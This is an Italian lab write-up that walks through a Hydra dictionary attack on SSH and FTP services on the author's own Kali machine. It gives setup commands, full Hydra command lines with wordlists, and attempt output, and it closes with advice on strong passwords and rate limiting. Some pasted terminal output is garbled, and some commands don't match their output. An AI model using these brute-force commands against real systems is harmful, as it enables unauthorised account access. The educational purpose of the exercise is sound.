S6L5 Authentication cracking con Hydra

Fasi dell'Esercizio

L'esercizio si svilupperà in due fasi principali:

- Fase 1: Abilitazione del Servizio SSH e Sessione di Cracking dell'Autenticazione con Hydra
 - Creazione dell'Utente e Avvio del Servizio SSH: Prima di tutto, verrà creato un nuovo utente chiamato test_user tramite il terminale.
 Successivamente, il servizio SSH sarà avviato sul sistema.
 - Attacco con Hydra: Utilizzando lo strumento Hydra, si tenterà di craccare l'autenticazione del servizio SSH. Si analizzeranno due scenari diversi:
 - Scenario 1 : Il processo di cracking della password richiede un tempo considerevole ma ha una probabilità elevata di successo.
 Questo scenario simula una situazione in cui le credenziali sono relativamente deboli, ma il dizionario utilizzato è esteso.
 - Scenario 2: Il cracking della password viene completato in pochi secondi grazie all'utilizzo di tecniche che riducono significativamente i tempi. Questo scenario dimostra come l'uso di un dizionario più piccolo accelerare notevolmente il processo di cracking.
- 2. Fase 2: Configurazione e Cracking di Altri Servizi di Rete
 - Nella seconda fase dell'esercizio, si andrà a configurare e craccare un servizio di rete diverso da SSH, come ad esempio il servizio FTP.
 Questa fase mira a estendere le competenze acquisite nella prima parte dell'esercizio, applicandole in contesti specifici e pratici.

Tipo di Attacco

Il metodo di attacco che utilizzeremo è noto come attacco basato su dizionario. In questo tipo di attacco, si fa uso di un elenco precompilato di parole (dizionario) contenenti possibili combinazioni di username e password. Lo strumento Hydra sarà responsabile di provare tutte le combinazioni presenti nel dizionario fino a trovare quella corretta.

Questo approccio è particolarmente efficace quando le credenziali sono deboli o quando vengono utilizzate parole comuni o sequenze di caratteri semplici. Hydra risulta essere uno strumento molto potente e versatile per condurre questo tipo di attacchi.

Preparazione dell'Ambiente

Per iniziare, è necessario creare un nuovo utente chiamato test_user con una password specifica (testpass). Questo può essere fatto utilizzando il comando:

sudo adduser test_user

```
-(kali⊕kali)-[~]
<u>sudo</u> adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
         Full Name []:
         Room Number []:
         Work Phone []:
         Home Phone []:
         Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Successivamente, si deve avviare il servizio SSH sul sistema. Ciò può essere fatto con il comando:

sudo service ssh start

```
____(kali⊕ kali)-[~]

$ sudo service ssh start
```

Prima di procedere con l'attacco, è importante verificare che il servizio SSH sia stato avviato correttamente. Questo può essere fatto tentando una connessione SSH al server con il comando:

ssh test user@<indirizzo ip>

Se la connessione riesce, significa che il servizio è operativo e pronto per l'attacco.

Esecuzione dell'Attacco al Servizio SSH

Lo strumento Hydra sarà impiegato per condurre l'attacco al servizio SSH. Alcune opzioni importanti da considerare includono:

- -V: questa opzione permette di visualizzare tutti i tentativi di autenticazione effettuati durante il processo di cracking.
- -L: indica il file contenente la lista degli username da testare.
- -P: indica il file contenente la lista delle password da provare.
- -t4: consente di eseguire quattro tentativi di autenticazione contemporaneamente, accelerando così il processo di cracking.

Comando Hydra:

hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt -t4 ssh

Durante l'esecuzione, Hydra cercherà di accedere al servizio SSH utilizzando le combinazioni di username e password fornite nei file specificati. Se una combinazione funziona, Hydra interromperà immediatamente l'attacco e mostrerà le credenziali trovate.

```
target 192.168.1.38
                                                                             '123456" - 1 of 8295455000000 [child 0]
                                              login "info" - pass "password" - 2 of 82954550000000 [child 1] (0/0) login "info" - pass "12345678" - 3 of 8295455000000 [child 2] (0/0)
[ATTEMPT]
              target 192.168.1.38 -
             target 192.168.1.38 -
[ATTEMPT]
                                              login "info" -
                                                                    pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.38 -
[ATTEMPT] target 192.168.1.38 - login "info" - pass "123456789" - 5 of 8295455000000 [child 0] (0/0)
                                                                    pass "12345" - 6 of 8295455000000 [child 1] (0/0) pass "1234" - 7 of 8295455000000 [child 2] (0/0) pass "111111" - 8 of 8295455000000 [child 3] (0/0)
                                              login "info" -
             target 192.168.1.38 -
[ATTEMPT]
             target 192.168.1.38 - login "info" - target 192.168.1.38 - login "info" -
[ATTEMPT]
[ATTEMPT]
[ATTEMPT] target 192.168.1.38 - login "info" -
                                                                    pass "1234567" - 9 of 8295455000000 [child 1] (0/0)
                                              login "info" - pass "dragon" - 10 of 8295455000000 [child 0] (0/0) login "info" - pass "123123" - 11 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.38 -
[ATTEMPT] target 192.168.1.38 -
[ATTEMPT] target 192.168.1.38 - login "info" - pass "baseball" - 12 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" - pass "abc123" - 13 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.38 - login "info" -
                                                                    pass "football" - 14 of 8295455000000 [child 1] (0/0)
                                              login "info" - pass "monkey" - 15 of 8295455000000 [child 1] (0/0) login "info" - pass "monkey" - 15 of 8295455000000 [child 2] (0/0) login "info" - pass "letmein" - 16 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.38 -
[ATTEMPT] target 192.168.1.38 -
                                              login "info" - pass "696969" - 17 of 8295455000000 [child 0] (0/0) login "info" - pass "shadow" - 18 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.38 -
[ATTEMPT] target 192.168.1.38 -
 ATTEMPT] target 192.168.1.38 - login "info" -
                                                                    pass "master" - 19 of 8295455000000 [child 2]
                                                                                            20 of 8295455000000
```

Hydra inizierà a provare tutte le possibili combinazioni di user e password contenute nelle liste inserite in input. Queste liste vengono chiamate dizionari. In questo caso, ho utilizzato il dizionario di seclists.

Il problema del dizionario che ho utilizzato in questo momento è che richiederà diverse ore per trovare la combinazione corretta, in quanto contiene 10 milioni di user e password.

Velocizzare l'Attacco

Utilizzando un dizionario più piccolo, Hydra sarà in grado di trovare la corrispondenza di user e password corretta dopo pochi secondi.

Attenzione però, perché una lista più corta riduce l'efficacia (potenzialmente) dell'attacco. Se nel dizionario non sono presenti le credenziali corrette, l'attacco fallirà.

In questo caso, ho inserito anche il parametro -f per terminare l'attacco una volta trovate le credenziali corrette.

```
| Ward | Vist |
```

Attacco al Servizio FTP

La procedura per l'attacco al servizio FTP è simile a quella usata per SSH. Prima di tutto, avviamo il servizio FTP con il comando:

sudo service vsftpd start

```
(kali@ kali)-[~]
$ sudo service ssh start
[sudo] password for kali:
```

Verifichiamo quindi la connessione FTP con il comando:

nmap -sV -p 21 <IP>

```
(kali@ kali)-[~]
$ nmap -sV -p 21,22 192.168.1.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-07 08:21 EST
Nmap scan report for kali.homenet.telecomitalia.it (192.168.1.38)
Host is up (0.000040s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.9p1 Debian 3 (protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
```

Lanciamo lo stesso attacco con Hydra, cambiando il protocollo nel comando. Quindi sarà:

hydra -V -L usernames.txt -P passwords.txt <indirizzo IP> -t4 -f ftp

```
| Chall® Nali) = | Color | Col
```

Conclusioni

L'esercizio si è rivelato particolarmente utile per comprendere quanto una password può essere vulnerabile se è debole. È fondamentale anche limitare il numero, o la frequenza, di tentativi disponibili per "indovinare" le combinazioni di password. In questo modo vengono sfavoriti attacchi alle password di questo tipo. Attenzione però nell'impostare questo genere di limiti, in quanto se troppo restrittivi, potrebbero negare l'accessibilità.

Ad esempio, un dipendente che sbaglia le credenziali involontariamente, potrebbe essere bloccato dal sistema e non avere il permesso di continuare a lavorare.